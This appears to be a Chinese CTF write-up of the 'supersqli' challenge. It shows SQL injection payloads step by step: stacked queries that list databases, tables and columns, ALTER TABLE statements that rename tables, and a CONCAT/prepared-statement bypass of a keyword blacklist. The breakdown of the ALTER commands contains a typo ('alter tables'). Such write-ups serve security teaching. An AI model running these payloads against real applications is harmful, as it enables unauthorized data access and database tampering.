攻防世界-supersqli详解

supersqli

查看是否存在SQL注入

1' and 1=1 #

在这里插入图片描述
用二分法查看列数(有两列)

1' order by  2 #

在这里插入图片描述
使用联合查询发现做了SQL注入黑名单禁止出现以下关键字
在这里插入图片描述

堆叠注入

接下来我们尝试堆叠注入:
查询数据库:(输入框里的–+做了过滤,但在url里依然可以用)

;show databases;--+

在这里插入图片描述
查表:

';show tables;--+

在这里插入图片描述
分别查询两个表的字段
(字符串为表名进行操作时要加反引号)

; show columns from `1919810931114514` ;--+
; show columns from `words` ;--+

word:flag,NO字段
在这里插入图片描述
1919810931114514:id,NO等等字段
在这里插入图片描述

查询字段内容

这里有两种方法:1.一种改表名 2.预编译
方法一:
根据在words表里发现id字段与查询框里的出的数据类型相同,一个数字,一个字符串,所以猜测默认查询的就是words表,inject(搜索框中)值应该赋给了id
利用:我们可以将含有flag字段的表命名为word,然后修改字段名字,不就查询到我们想要的结果!(前提是这里rename,alert关键字 没有做过滤)

 ; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50); #
 拆开:
;  alter tables words rename to words1; 
;  alter tables `1919810931114514` rename to words ;
;  alter tables words change flag id varchar(50); #

查看flag:

1' or 1=1 #

在这里插入图片描述
1’ or 1=1 #

**方法二:**预编译来绕过

构造payload:

';sEt @sql = CONCAT('se','lect * from `1919810931114514`;');prEpare stmt from @sql;EXECUTE stmt;#

';sEt @sql = CONCAT(‘se’,‘lect * from 1919810931114514;’); 进行预编译
prEpare stmt from @sql; 设置变量
EXECUTE stmt;# 执行
在这里插入图片描述
flag:
flag{c168d583ed0d4d7196967b28cbd0b5e9

  • 9
    点赞
  • 35
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值